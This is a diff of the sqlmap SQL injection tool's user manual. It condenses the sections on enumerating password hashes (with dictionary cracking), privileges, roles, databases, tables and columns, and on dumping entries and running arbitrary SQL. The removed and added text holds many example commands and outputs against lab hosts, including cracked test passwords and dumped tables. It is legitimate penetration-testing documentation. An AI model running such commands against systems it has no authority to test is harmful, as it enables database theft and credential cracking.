    Example on a MySQL 5.0.67 target:

    -

    -

    -
    -$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int.php?id=1" --passwords -v 0
-
-[*] debian-sys-maint [1]:
-    password hash: *BBDC22D2B1E18C8628D29228649621B32A1B1892
-[*] root [1]:
-    password hash: *81F5E21235407A884A6CD4A731FEBFB6AF209E1B
-[*] testuser [1]:
-    password hash: *00E247BD5F9AF26AE0194B71E1E769D1E1429A29
-
    -
    -

    - -

    You can also provide the -U option to specify the user who you -want to enumerate the password hashes.

    - -

    Example on a Microsoft SQL Server 2000 Service Pack 0 target:

    -

    -

    -
    -$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mssql/get_int.php?id=1" --passwords \
-  -U sa -v 0
-
-database management system users password hashes:
-[*] sa [1]:
-    password hash: 0x01000a16d704fa252b7c38d1aeae18756e98172f4b34104d8ce32c2f01b293b03edb7491f
-ba9930b62ee5d506955
-        header: 0x0100
-        salt: 0a16d704
-        mixedcase: fa252b7c38d1aeae18756e98172f4b34104d8ee3
-        uppercase: 2c2f01b293b03edb7491fba9930b62ce5d506955
-
    -
    -

    - -

    As you can see, when you enumerate password hashes on Microsoft SQL Server -sqlmap split the hash, useful if you want to crack it.

    - -

    If you provide CU as username it will consider it as an alias for -current user and will retrieve the password hashes for this user.

    - -

    Example on a PostgreSQL 8.3.5 target:

    -

    -

    -
    -$ python sqlmap.py -u "http://172.16.213.131/sqlmap/pgsql/get_int.php?id=1" --passwords \
-  -U CU -v 1
-
-[...]
-back-end DBMS: PostgreSQL
-
-[hh:mm:48] [INFO] fetching current user
-[hh:mm:48] [INFO] retrieved: postgres
-[hh:mm:49] [INFO] fetching database users password hashes for current user
-[hh:mm:49] [INFO] fetching number of password hashes for user 'postgres'
-[hh:mm:49] [INFO] retrieved: 1
-[hh:mm:49] [INFO] fetching password hashes for user 'postgres'
-[hh:mm:49] [INFO] retrieved: md5d7d880f96044b72d0bba108ace96d1e4
+[hh:mm:38] [INFO] fetching database users password hashes
+do you want to use dictionary attack on retrieved password hashes? [Y/n/q] y
+[hh:mm:42] [INFO] using hash method: 'postgres_passwd'
+what's the dictionary's location? [/tmp/sqlmap/txt/wordlist.txt] 
+[hh:mm:46] [INFO] loading dictionary from: '/tmp/sqlmap/txt/wordlist.txt'
+do you want to use common password suffixes? (slow!) [y/N] n
+[hh:mm:48] [INFO] starting dictionary attack (postgres_passwd)
+[hh:mm:49] [INFO] found: 'testpass' for user: 'testuser'
+[hh:mm:50] [INFO] found: 'testpass' for user: 'postgres'
 database management system users password hashes:
 [*] postgres [1]:
-    password hash: md5d7d880f96034b72d0bba108afe96c1e7
+    password hash: md5d7d880f96044b72d0bba108ace96d1e4
+    clear-text password: testpass
+[*] testuser [1]:
+    password hash: md599e5ea7a6f7c3269995cba3927fd0093
+    clear-text password: testpass

    +

    Not only sqlmap enumerated the DBMS users and their passwords, but it also +recognized the hash format to be PostgreSQL, asked the user whether or not +to test the hashes against a dictionary file and identified the clear-text +password for the postgres user, which is usually a DBA along the +other user, testuser, password.

    -

    Users privileges

    +

    This feature has been implemented for all DBMS where it is possible to +enumerate users' password hashes, including Oracle and Microsoft SQL +Server pre and post 2005.

    -

    Options: --privileges and -U

    +

    You can also provide the -U option to specify the specific user +who you want to enumerate and eventually crack the password hash(es). +If you provide CU as username it will consider it as an alias for +current user and will retrieve the password hash(es) for this user.

    -

    It is possible to enumerate the privileges for each database management -system user.

    -

    Example on an Oracle XE 10.2.0.1 target:

    -

    -

    -
    -$ python sqlmap.py -u "http://172.16.213.131/sqlmap/oracle/get_int.php?id=1" --privileges -v 0
+
    List database management system users privileges
    
 
-[hh:mm:25] [WARNING] unable to retrieve the number of privileges for user 'ANONYMOUS'
-[hh:mm:28] [WARNING] unable to retrieve the number of privileges for user 'DIP'
-database management system users privileges:
-[*] CTXSYS [2]:
-    privilege: CTXAPP
-    privilege: RESOURCE
-[*] DBSNMP [1]:
-    privilege: OEM_MONITOR
-[*] FLOWS_020100 (administrator) [4]:
-    privilege: CONNECT
-    privilege: DBA
-    privilege: RESOURCE
-    privilege: SELECT_CATALOG_ROLE
-[*] FLOWS_FILES [2]:
-    privilege: CONNECT
-    privilege: RESOURCE
-[*] HR (administrator) [3]:
-    privilege: CONNECT
-    privilege: DBA
-    privilege: RESOURCE
-[*] MDSYS [2]:
-    privilege: CONNECT
-    privilege: RESOURCE
-[*] OUTLN [1]:
-    privilege: RESOURCE
-[*] SYS (administrator) [22]:
-    privilege: AQ_ADMINISTRATOR_ROLE
-    privilege: AQ_USER_ROLE
-    privilege: AUTHENTICATEDUSER
-    privilege: CONNECT
-    privilege: CTXAPP
-    privilege: DBA
-    privilege: DELETE_CATALOG_ROLE
-    privilege: EXECUTE_CATALOG_ROLE
-    privilege: EXP_FULL_DATABASE
-    privilege: GATHER_SYSTEM_STATISTICS
-    privilege: HS_ADMIN_ROLE
-    privilege: IMP_FULL_DATABASE
-    privilege: LOGSTDBY_ADMINISTRATOR
-    privilege: OEM_ADVISOR
-    privilege: OEM_MONITOR
-    privilege: PLUSTRACE
-    privilege: RECOVERY_CATALOG_OWNER
-    privilege: RESOURCE
-    privilege: SCHEDULER_ADMIN
-    privilege: SELECT_CATALOG_ROLE
-    privilege: XDBADMIN
-    privilege: XDBWEBSERVICES
-[*] SYSTEM (administrator) [2]:
-    privilege: AQ_ADMINISTRATOR_ROLE
-    privilege: DBA
-[*] TSMSYS [1]:
-    privilege: RESOURCE
-[*] XDB [2]:
-    privilege: CTXAPP
-    privilege: RESOURCE
-
    -
    -

    +

    Switches: --privileges and -U

    + +

    When the session user has read access to the system table containing +information about the DBMS users, it is possible to enumerate the +privileges for each database management system user. +By the privileges, sqlmap will also show you which are database +administrators.

    You can also provide the -U option to specify the user who you want to enumerate the privileges.

    -

    Example on a PostgreSQL 8.3.5 target:

    -

    -

    -
    -$ python sqlmap.py -u "http://172.16.213.131/sqlmap/pgsql/get_int.php?id=1" --privileges \
-  -U postgres -v 0
+
    If you provide CU as username it will consider it as an alias for
+current user and will enumerate the privileges for this user.
    
 
-database management system users privileges:
-[*] postgres (administrator) [3]:
-    privilege: catupd
-    privilege: createdb
-    privilege: super
-
    -
    -

    -

    As you can see, depending on the user privileges, sqlmap identifies if the -user is a database management system administrator and shows this information -next to the username.

    +

    List database management system users roles

    + +

    Switches: --roles and -U

    + +

    When the session user has read access to the system table containing +information about the DBMS users, it is possible to enumerate the +roles for each database management system user.

    + +

    You can also provide the -U option to specify the user who you +want to enumerate the privileges.

    If you provide CU as username it will consider it as an alias for current user and will enumerate the privileges for this user.

    -

    Example on a PostgreSQL 8.3.5 target:

    -

    -

    -
    -$ python sqlmap.py -u "http://172.16.213.131/sqlmap/pgsql/get_int.php?id=1" --passwords \
-  -U CU -v 1
-
-[...]
-back-end DBMS: PostgreSQL
-
-[hh:mm:25] [INFO] fetching current user
-[hh:mm:25] [INFO] retrieved: postgres
-[hh:mm:25] [INFO] fetching database users privileges for current user
-[hh:mm:25] [INFO] fetching number of privileges for user 'postgres'
-[hh:mm:25] [INFO] retrieved: 1
-[hh:mm:25] [INFO] fetching privileges for user 'postgres'
-[hh:mm:25] [INFO] the SQL query provided has more than a field. sqlmap will now unpack it 
-into distinct queries to be able to retrieve the output even if we are going blind
-[hh:mm:25] [INFO] retrieved: 1
-[hh:mm:25] [INFO] retrieved: 1
-[hh:mm:25] [INFO] retrieved: 1
-database management system users privileges:
-[*] postgres (administrator) [3]:
-    privilege: catupd
-    privilege: createdb
-    privilege: super
-
    -
    -

    - -

    Note that this feature is not available if the back-end database -management system is Microsoft SQL Server.

    +

    This feature is only available when the DBMS is Oracle.

    -

    Available databases

    +

    List database management system's databases

    -

    Option: --dbs

    +

    Switch: --dbs

    -

    It is possible to enumerate the list of databases.

    +

    When the session user has read access to the system table containing +information about available databases, it is possible to enumerate the +list of databases.

    -

    Example on a Microsoft SQL Server 2000 Service Pack 0 target:

    -

    -

    -
    -$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mssql/get_int.php?id=1" --dbs -v 0
+
    Note that this feature is not available if the database management system
+is Oracle.
    
 
-available databases [6]:
-[*] master
-[*] model
-[*] msdb
-[*] Northwind
-[*] pubs
-[*] tempdb
-
    -
    -

    -

    Note that this feature is not available if the back-end database -management system is Oracle.

    +

    Enumerate database's tables

    -

    Databases tables

    +

    Switches: --tables and -D

    -

    Options: --tables and -D

    +

    When the session user has read access to the system table containing +information about databases' tables, it is possible to enumerate +the list of tables for a specific database management system's databases.

    -

    It is possible to enumerate the list of tables for all database -management system's databases.

    - -

    Example on a MySQL 5.0.67 target:

    -

    -

    -
    -$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int.php?id=1" --tables -v 0
-
-Database: testdb
-[1 table]
-+---------------------------------------+
-| users                                 |
-+---------------------------------------+
-
-Database: information_schema
-[17 tables]
-+---------------------------------------+
-| CHARACTER_SETS                        |
-| COLLATION_CHARACTER_SET_APPLICABILITY |
-| COLLATIONS                            |
-| COLUMN_PRIVILEGES                     |
-| COLUMNS                               |
-| KEY_COLUMN_USAGE                      |
-| PROFILING                             |
-| ROUTINES                              |
-| SCHEMA_PRIVILEGES                     |
-| SCHEMATA                              |
-| STATISTICS                            |
-| TABLE_CONSTRAINTS                     |
-| TABLE_PRIVILEGES                      |
-| TABLES                                |
-| TRIGGERS                              |
-| USER_PRIVILEGES                       |
-| VIEWS                                 |
-+---------------------------------------+
-
-Database: mysql
-[17 tables]
-+---------------------------------------+
-| columns_priv                          |
-| db                                    |
-| func                                  |
-| help_category                         |
-| help_keyword                          |
-| help_relation                         |
-| help_topic                            |
-| host                                  |
-| proc                                  |
-| procs_priv                            |
-| tables_priv                           |
-| time_zone                             |
-| time_zone_leap_second                 |
-| time_zone_name                        |
-| time_zone_transition                  |
-| time_zone_transition_type             |
-| user                                  |
-+---------------------------------------+
-
    -
    -

    - -

    You can also provide the -D option to specify the database -that you want to enumerate the tables.

    - -

    Example on a MySQL 5.0.67 target:

    -

    -

    -
    -$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int.php?id=1" --tables \
-  -D testdb -v 0
-
-Database: testdb
-[1 table]
-+---------------------------------------+
-| users                                 |
-+---------------------------------------+
-
    -
    -

    - -

    Example on an Oracle XE 10.2.0.1 target:

    -

    -

    -
    -$ python sqlmap.py -u "http://172.16.213.131/sqlmap/oracle/get_int.php?id=1" --tables \
-  -D users -v 0
-
-Database: USERS
-[8 tables]
-+-------------------+
-| DEPARTMENTS       |
-| EMPLOYEES         |
-| HTMLDB_PLAN_TABLE |
-| JOB_HISTORY       |
-| JOBS              |
-| LOCATIONS         |
-| REGIONS           |
-| USERS             |
-+-------------------+
-
    -
    -

    +

    If you do not provide a specific database with switch -D, sqlmap +will enumerate the tables for all DBMS databases.

    Note that on Oracle you have to provide the TABLESPACE_NAME -instead of the database name. In provided example users was -used to retrieve all tables owned by an Oracle database management -system user.

    +instead of the database name.

    -

    Database table columns

    +

    Enumerate database table columns

    -

    Options: --columns, -C, -T and -D

    +

    Switches: --columns, -C, -T and -D

    -

    It is possible to enumerate the list of columns for a specific database -table. -This functionality depends on the option -T to specify the table name -and optionally on -D to specify the database name.

    +

    When the session user has read access to the system table containing +information about database's tables, it is possible to enumerate the list +of columns for a specific database table. +sqlmap also enumerates the data-type for each column.

    -

    Example on a MySQL 5.0.67 target:

    -

    -

    -
    -$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int.php?id=1" --columns \
-  -T users -D testdb -v 1
-
-[...]
-back-end DBMS: MySQL >= 5.0.0
-
-[hh:mm:20] [INFO] fetching columns for table 'users' on database 'testdb'
-[hh:mm:20] [INFO] fetching number of columns for table 'users' on database 'testdb'
-[hh:mm:20] [INFO] retrieved: 3
-[hh:mm:20] [INFO] retrieved: id
-[hh:mm:20] [INFO] retrieved: int(11)
-[hh:mm:21] [INFO] retrieved: name
-[hh:mm:21] [INFO] retrieved: varchar(500)
-[hh:mm:21] [INFO] retrieved: surname
-[hh:mm:21] [INFO] retrieved: varchar(1000)
-Database: testdb
-Table: users
-[3 columns]
-+---------+---------------+
-| Column  | Type          |
-+---------+---------------+
-| id      | int(11)       |
-| name    | varchar(500)  |
-| surname | varchar(1000) |
-+---------+---------------+
-
    -
    -

    - -

    Example on a Microsoft SQL Server 2000 Service Pack 0 target:

    -

    -

    -
    -$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mssql/get_int.php?id=1" --columns \
-  -T users -D master -v 0
-
-Database: master
-Table: users
-[3 columns]
-+---------+---------+
-| Column  | Type    |
-+---------+---------+
-| id      | int     |
-| name    | varchar |
-| surname | varchar |
-+---------+---------+
-
    -
    -

    - -

    Example on a PostgreSQL 8.3.5 target:

    -

    -

    -
    -$ python sqlmap.py -u "http://172.16.213.131/sqlmap/pgsql/get_int.php?id=1" --columns \
-  -T users -D public -v 0
-
-Database: public
-Table: users
-[3 columns]
-+---------+--------+
-| Column  | Type   |
-+---------+--------+
-| id      | int4   |
-| name    | bpchar |
-| surname | bpchar |
-+---------+--------+
-
    -
    -

    - -

    Note that on PostgreSQL you have to provide public or the -name of a system database. That's because it is not possible to enumerate -other databases tables, only the tables under the schema that the web -application's user is connected to, which is always public.

    - -

    If the database name is not specified, the current database name is used.

    - -

    Example on a MySQL 5.0.67 target:

    -

    -

    -
    -$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int.php?id=1" --columns \
-  -T users -v 1
-
-[...]
-back-end DBMS: MySQL >= 5.0.0
-
-[hh:mm:45] [WARNING] missing database parameter, sqlmap is going to use the current 
-database to enumerate table 'users' columns
-[hh:mm:45] [INFO] fetching current database
-[hh:mm:45] [INFO] retrieved: testdb
-[hh:mm:45] [INFO] fetching columns for table 'users' on database 'testdb'
-[hh:mm:45] [INFO] fetching number of columns for table 'users' on database 'testdb'
-[hh:mm:45] [INFO] retrieved: 3
-[hh:mm:45] [INFO] retrieved: id
-[hh:mm:45] [INFO] retrieved: int(11)
-[hh:mm:46] [INFO] retrieved: name
-[hh:mm:46] [INFO] retrieved: varchar(500)
-[hh:mm:46] [INFO] retrieved: surname
-[hh:mm:46] [INFO] retrieved: varchar(1000)
-Database: testdb
-Table: users
-[3 columns]
-+---------+---------------+
-| Column  | Type          |
-+---------+---------------+
-| id      | int(11)       |
-| name    | varchar(500)  |
-| surname | varchar(1000) |
-+---------+---------------+
-
    -
    -

    - -

    You can also provide the -C option to specify the table columns +

    This feature depends on the option -T to specify the table name +and optionally on -D to specify the database name. When the +database name is not specified, the current database name is used. +You can also provide the -C option to specify the table columns name like the one you provided to be enumerated.

    -

    Example on a MySQL 5.0.67 target:

    +

    Example against a MySQL target:

    -$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int.php?id=1" --columns \
-  -T users -C name -v 1
-
+$ python sqlmap.py -u "http://debiandev/sqlmap/mysql/get_int.php?id=1" --columns -D testdb \
+  -T users -C name
 [...]
-[hh:mm:20] [WARNING] missing database parameter, sqlmap is going to use the current 
-database to enumerate table 'users' columns
-[hh:mm:20] [INFO] fetching current database
-[hh:mm:20] [INFO] retrieved: testdb
-[hh:mm:20] [INFO] fetching columns like 'name' for table 'users' on database 'testdb'
-[hh:mm:20] [INFO] fetching number of columns for table 'users' on database 'testdb'
-[hh:mm:20] [INFO] retrieved: 2
-[hh:mm:20] [INFO] retrieved: name
-[hh:mm:20] [INFO] retrieved: varchar(500)
-[hh:mm:21] [INFO] retrieved: surname
-[hh:mm:21] [INFO] retrieved: varchar(1000)
 Database: testdb
 Table: users
 [2 columns]
@@ -3685,63 +1995,40 @@ Table: users

    +

    Note that on PostgreSQL you have to provide public or the +name of a system database. That's because it is not possible to enumerate +other databases tables, only the tables under the schema that the web +application's user is connected to, which is always aliased by +public.

    +

    Dump database table entries

    -

    Options: --dump, -C, -T, -D, +

    Switches: --dump, -C, -T, -D, --start, --stop, --first and --last

    -

    It is possible to dump table entries. -This functionality depends on the option -T to specify the table -name or on the option -C to specify the column name and, -optionally on -D to specify the database name.

    +

    When the session user has read access to a specific database's table it is +possible to dump the table entries.

    -

    If the table name is specified, but the database name is not, the current +

    This functionality depends on switch -T to specify the table +name and optionally on switch -D to specify the database name. +If the table name is provided, but the database name is not, the current database name is used.

    -

    Example on a MySQL 5.0.67 target:

    +

    Example against a Firebird target:

    -$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int.php?id=1" --dump \
-  -T users -v 1
-
+$ python sqlmap.py -u "http://debiandev/sqlmap/firebird/get_int.php?id=1" --dump -T users
 [...]
-back-end DBMS: MySQL >= 5.0.0
-
-[hh:mm:41] [WARNING] missing database parameter, sqlmap is going to use the current 
-database to dump table 'users' entries
-[hh:mm:41] [INFO] fetching current database
-[hh:mm:41] [INFO] retrieved: testdb
-[hh:mm:41] [INFO] fetching columns for table 'users' on database 'testdb'
-[hh:mm:41] [INFO] fetching number of columns for table 'users' on database 'testdb'
-[hh:mm:41] [INFO] retrieved: 3
-[hh:mm:41] [INFO] retrieved: id
-[hh:mm:41] [INFO] retrieved: name
-[hh:mm:41] [INFO] retrieved: surname
-[hh:mm:41] [INFO] fetching entries for table 'users' on database 'testdb'
-[hh:mm:41] [INFO] fetching number of entries for table 'users' on database 'testdb'
-[hh:mm:41] [INFO] retrieved: 4
-[hh:mm:41] [INFO] retrieved: 1
-[hh:mm:42] [INFO] retrieved: luther
-[hh:mm:42] [INFO] retrieved: blissett
-[hh:mm:42] [INFO] retrieved: 2
-[hh:mm:42] [INFO] retrieved: fluffy
-[hh:mm:42] [INFO] retrieved: bunny
-[hh:mm:42] [INFO] retrieved: 3
-[hh:mm:42] [INFO] retrieved: wu
-[hh:mm:42] [INFO] retrieved: ming
-[hh:mm:43] [INFO] retrieved: 4
-[hh:mm:43] [INFO] retrieved:  
-[hh:mm:43] [INFO] retrieved: nameisnull
-Database: testdb
-Table: users
+Database: Firebird_masterdb
+Table: USERS
 [4 entries]
 +----+--------+------------+
-| id | name   | surname    |
+| ID | NAME   | SURNAME    |
 +----+--------+------------+
-| 1  | luther | blissett   |
+| 1  | luther | blisset    |
 | 2  | fluffy | bunny      |
 | 3  | wu     | ming       |
 | 4  | NULL   | nameisnull |
@@ -3750,335 +2037,86 @@ Table: users

    -

    You can also provide the -C option to specify the table column -that you want to enumerate the entries.

    +

    You can also provide a comma-separated list of the specific columns to +dump with the -C switch.

    -

    Example on a Microsoft SQL Server 2000 Service Pack 0 target:

    -

    -

    -
    -$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mssql/get_int.php?id=1" --dump \
-  -T users -D master -C surname -v 0
+
    sqlmap also generates for each table dumped the entries in a CSV format
+textual file.
+You can see the absolute path where sqlmap creates the file by providing a
+verbosity level greater than or equal to 1.
    
 
-Database: master
-Table: users
-[5 entries]
-+-------------------+
-| surname           |
-+-------------------+
-| blisset           |
-| bunny             |
-| ming              |
-| nameisnull        |
-| user agent header |
-+-------------------+
-
    -
    -

    +

    If you want to dump only a range of entries, then you can provide switches +--start and/or --stop to respectively +start to dump from a certain entry and stop the dump at a certain entry. +For instance, if you want to dump only the first entry, provide +--stop 1 in your command line. Vice versa if, for +instance, you want to dump only the second and third entry, provide +--start 1 --stop 3.

    -

    If only the column name is specified, sqlmap will enumerate and ask the -user to dump all databases' tables containing user provided column(s). -This feature can be useful to identify, for instance, tables containing -custom application credentials.

    +

    It is also possible to specify which single character or range of characters +to dump with switches --first and --last. +For instance, if you want to dump columns' entries from the third to the +fifth character, provide --first 3 --last +5. +This feature only applies to the blind SQL injection techniques because for +error-based and UNION query SQL injection techniques the number of requests +is exactly the same, regardless of the length of the column's entry output +to dump.

    -

    Example on a MySQL 5.0.67 target:

    -

    -

    -
    -$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int.php?id=1" -v 1 --dump \
-  -C "urna"
-
-[...]
-back-end DBMS: MySQL >= 5.0.0
-
-do you want sqlmap to consider provided column(s):
-[1] as LIKE column names (default)
-[2] as exact column names
-> 1
-[hh:mm:08] [INFO] fetching databases with tables containing columns like 'urna'
-[hh:mm:08] [INFO] fetching number of databases with tables containing columns like 
-'urna'
-[hh:mm:08] [INFO] retrieved: 1
-[hh:mm:08] [INFO] retrieved: testdb
-[hh:mm:10] [INFO] fetching tables containing columns like 'urna' in database 'testdb'
-[hh:mm:10] [INFO] fetching number of tables containing columns like 'urna' in 
-database 'testdb'
-[hh:mm:10] [INFO] retrieved: 1
-[hh:mm:10] [INFO] retrieved: users
-[hh:mm:10] [INFO] fetching columns like 'urna' for table 'users' on database 'testdb'
-[hh:mm:10] [INFO] fetching number of columns for table 'users' on database 'testdb'
-[hh:mm:10] [INFO] retrieved: 1
-[hh:mm:10] [INFO] retrieved: surname
-Columns like 'urna' were found in the following databases:
-Database: testdb
-Table: users
-[1 column]
-+---------+
-| Column  |
-+---------+
-| surname |
-+---------+
-
-do you want to dump entries? [Y/n] y
-which database(s)?
-[a]ll (default)
-[testdb]
-[q]uit
-> 
-which table(s) of database 'testdb'?
-[a]ll (default)
-[users]
-[s]kip
-[q]uit
-> 
-[hh:mm:23] [INFO] fetching columns 'surname' entries for table 'users' on 
-database 'testdb'
-[hh:mm:23] [INFO] fetching number of columns 'surname' entries for table 
-'users' on database 'testdb'
-[hh:mm:23] [INFO] retrieved: 4
-[hh:mm:23] [INFO] retrieved: blissett
-[hh:mm:23] [INFO] retrieved: bunny
-[hh:mm:23] [INFO] retrieved: ming
-[hh:mm:23] [INFO] retrieved: nameisnull
-Database: testdb
-Table: users
-[4 entries]
-+------------+
-| surname    |
-+------------+
-| blissett   |
-| bunny      |
-| ming       |
-| nameisnull |
-+------------+
-
    -
    -

    - -

    sqlmap also stores for each table the dumped entries in a CSV format file. -You can see the absolute path where sqlmap stores the dumped tables entries -by providing a verbosity level greater than or equal to 1.

    - -

    Example on a PostgreSQL 8.3.5 target:

    -

    -

    -
    -$ python sqlmap.py -u "http://172.16.213.131/sqlmap/pgsql/get_int.php?id=1" --dump \
-  -T users -D public -v 1
-
-[...]
-Database: public
-Table: users
-[5 entries]
-+----+----------------------------------------------+-------------------+
-| id | name                                         | surname           |
-+----+----------------------------------------------+-------------------+
-| 1  | luther                                       | blissett          |
-| 2  | fluffy                                       | bunny             |
-| 3  | wu                                           | ming              |
-| 4  | sqlmap/0.8 (http://sqlmap.sourceforge.net)   | user agent header |
-| 5  |                                              | nameisnull        |
-+----+----------------------------------------------+-------------------+
-
-[hh:mm:59] [INFO] Table 'public.users' dumped to CSV file '/home/inquis/sqlmap/output/
-172.16.213.131/dump/public/users.csv'
-[...]
-
-$ cat ./output/172.16.213.131/dump/public/users.csv 
-id,name,surname
-"1","luther","blissett"
-"2","fluffy","bunny"
-"3","wu","ming"
-"4","sqlmap/0.8 (http://sqlmap.sourceforge.net)","user agent header"
-"5","","nameisnull"
-
    -
    -

    - -

    You can also provide the --start and/or the --stop -options to limit the dump to a range of entries, while those entries can be further -limited to a range of character positions provided with --first -and/or the --last options:

    -

    -

    -

    - -

    Example on a MySQL 5.0.67 target:

    -

    -

    -
    -$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int.php?id=1" --dump \
-  -T users -D testdb --start 2 --stop 4 -v 0
-
-Database: testdb
-Table: users
-[3 entries]
-+----+--------------------------------------------+-------------------+
-| id | name                                       | surname           |
-+----+--------------------------------------------+-------------------+
-| 2  | fluffy                                     | bunny             |
-| 3  | wu                                         | ming              |
-| 4  | sqlmap/0.8 (http://sqlmap.sourceforge.net) | user agent header |
-+----+--------------------------------------------+-------------------+
-
    -
    -

    - -

    As you can see, sqlmap is very flexible. You can leave it to automatically -enumerate the whole database table up to a range of characters of a single -column of a specific table entry.

    +

    As you know by down, sqlmap is flexible. You can leave it to +automatically enumerate the whole database table or you can be very +precise in which characters to dump, from which columns and which range of +entries.

    Dump all databases tables entries

    -

    Options: --dump-all and --exclude-sysdbs

    +

    Switches: --dump-all and --exclude-sysdbs

    -

    It is possible to dump all databases tables entries at once.

    -

    Example on a MySQL 5.0.67 target:

    -

    -

    -
    -$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int.php?id=1" --dump-all -v 0
+
    It is possible to dump all databases tables entries at once that the
+session user has read access on.
    
 
-Database: testdb
-Table: users
-[5 entries]
-+----+--------------------------------------------+-------------------+
-| id | name                                       | surname           |
-+----+--------------------------------------------+-------------------+
-| 1  | luther                                     | blissett          |
-| 2  | fluffy                                     | bunny             |
-| 3  | wu                                         | ming              |
-| 4  | sqlmap/0.8 (http://sqlmap.sourceforge.net) | user agent header |
-| 5  | NULL                                       | nameisnull        |
-+----+--------------------------------------------+-------------------+
-
-Database: information_schema
-Table: CHARACTER_SETS
-[36 entries]
-+--------------------+----------------------+-----------------------------+--------+
-| CHARACTER_SET_NAME | DEFAULT_COLLATE_NAME | DESCRIPTION                 | MAXLEN |
-+--------------------+----------------------+-----------------------------+--------+
-| tis620             | tis620_thai_ci       | TIS620 Thai                 | 1      |
-| macroman           | macroman_general_ci  | Mac West European           | 1      |
-| dec8               | dec8_swedish_ci      | DEC West European           | 1      |
-| ujis               | ujis_japanese_ci     | EUC-JP Japanese             | 3      |
-| eucjpms            | eucjpms_japanese_ci  | UJIS for Windows Japanese   | 3      |
-| armscii8           | armscii8_general_ci  | ARMSCII-8 Armenian          | 1      |
-| ucs2               | ucs2_general_ci      | UCS-2 Unicode               | 2      |
-| hp8                | hp8_english_ci       | HP West European            | 1      |
-| latin2             | latin2_general_ci    | ISO 8859-2 Central European | 1      |
-| koi8u              | koi8u_general_ci     | KOI8-U Ukrainian            | 1      |
-| keybcs2            | keybcs2_general_ci   | DOS Kamenicky Czech-Slovak  | 1      |
-| ascii              | ascii_general_ci     | US ASCII                    | 1      |
-| cp866              | cp866_general_ci     | DOS Russian                 | 1      |
-| cp1256             | cp1256_general_ci    | Windows Arabic              | 1      |
-| macce              | macce_general_ci     | Mac Central European        | 1      |
-| sjis               | sjis_japanese_ci     | Shift-JIS Japanese          | 2      |
-| geostd8            | geostd8_general_ci   | GEOSTD8 Georgian            | 1      |
-| cp1257             | cp1257_general_ci    | Windows Baltic              | 1      |
-| cp852              | cp852_general_ci     | DOS Central European        | 1      |
-| euckr              | euckr_korean_ci      | EUC-KR Korean               | 2      |
-| cp1250             | cp1250_general_ci    | Windows Central European    | 1      |
-| cp1251             | cp1251_general_ci    | Windows Cyrillic            | 1      |
-| binary             | binary               | Binary pseudo charset       | 1      |
-| big5               | big5_chinese_ci      | Big5 Traditional Chinese    | 2      |
-| gb2312             | gb2312_chinese_ci    | GB2312 Simplified Chinese   | 2      |
-| hebrew             | hebrew_general_ci    | ISO 8859-8 Hebrew           | 1      |
-| koi8r              | koi8r_general_ci     | KOI8-R Relcom Russian       | 1      |
-| greek              | greek_general_ci     | ISO 8859-7 Greek            | 1      |
-| cp850              | cp850_general_ci     | DOS West European           | 1      |
-| utf8               | utf8_general_ci      | UTF-8 Unicode               | 3      |
-| latin1             | latin1_swedish_ci    | cp1252 West European        | 1      |
-| latin7             | latin7_general_ci    | ISO 8859-13 Baltic          | 1      |
-| cp932              | cp932_japanese_ci    | SJIS for Windows Japanese   | 2      |
-| latin5             | latin5_turkish_ci    | ISO 8859-9 Turkish          | 1      |
-| swe7               | swe7_swedish_ci      | 7bit Swedish                | 1      |
-| gbk                | gbk_chinese_ci       | GBK Simplified Chinese      | 2      |
-+--------------------+----------------------+-----------------------------+--------+
-
-[...]
-
    -
    -

    - -

    You can also provide the --exclude-sysdbs option to exclude all -system databases. In that case sqlmap will only dump entries of users' databases -tables.

    - -

    Example on a Microsoft SQL Server 2000 Service Pack 0 target:

    -

    -

    -
    -$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mssql/get_int.php?id=1" --dump-all \
-  --exclude-sysdbs -v 0
-
-Database: master
-Table: spt_datatype_info_ext
-[10 entries]
-+----------------+-----------------+-----------+-----------+
-| AUTO_INCREMENT | CREATE_PARAMS   | typename  | user_type |
-+----------------+-----------------+-----------+-----------+
-| 0              | length          | char      | 175       |
-| 0              | precision,scale | numeric   | 108       |
-| 0              | max length      | varbinary | 165       |
-| 0              | precision,scale | decimal   | 106       |
-| 1              | precision       | numeric   | 108       |
-| 0              | length          | nchar     | 239       |
-| 0              | max length      | nvarchar  | 231       |
-| 0              | length          | binary    | 173       |
-| 0              | max length      | varchar   | 167       |
-| 1              | precision       | decimal   | 106       |
-+----------------+-----------------+-----------+-----------+
-
-[...]
-
-Database: master
-Table: users
-[5 entries]
-+----+----------------------------------------------+-------------------+
-| id | name                                         | surname           |
-+----+----------------------------------------------+-------------------+
-| 4  | sqlmap/0.8 (http://sqlmap.sourceforge.net)   | user agent header |
-| 2  | fluffy                                       | bunny             |
-| 1  | luther                                       | blisset           |
-| 3  | wu                                           | ming              |
-| 5  | NULL                                         | nameisnull        |
-+----+----------------------------------------------+-------------------+
-
-[...]
-
    -
    -

    +

    You can also provide the --exclude-sysdbs switch to +exclude all system databases. In that case sqlmap will only dump entries +of users' databases tables.

    Note that on Microsoft SQL Server the master database is not considered a system database because some database administrators use it as a users' database.

    -

    Execute custom SQL statement

    +

    Search for columns, tables or databases

    -

    Options: --sql-query and --sql-shell

    +

    Switches: --search, -C, -T, -D

    -

    The SQL query and the SQL shell features makes the user able to execute -custom SQL statements on the web application's back-end database -management. +

    TODO

    + + +

    Run custom SQL statement

    + +

    Switches: --sql-query and --sql-shell

    + +

    The SQL query and the SQL shell features allow to run arbitrary SQL +statements on the database management system. sqlmap automatically dissects the provided statement, determines which -technique to use to inject it and how to pack the SQL payload accordingly.

    -

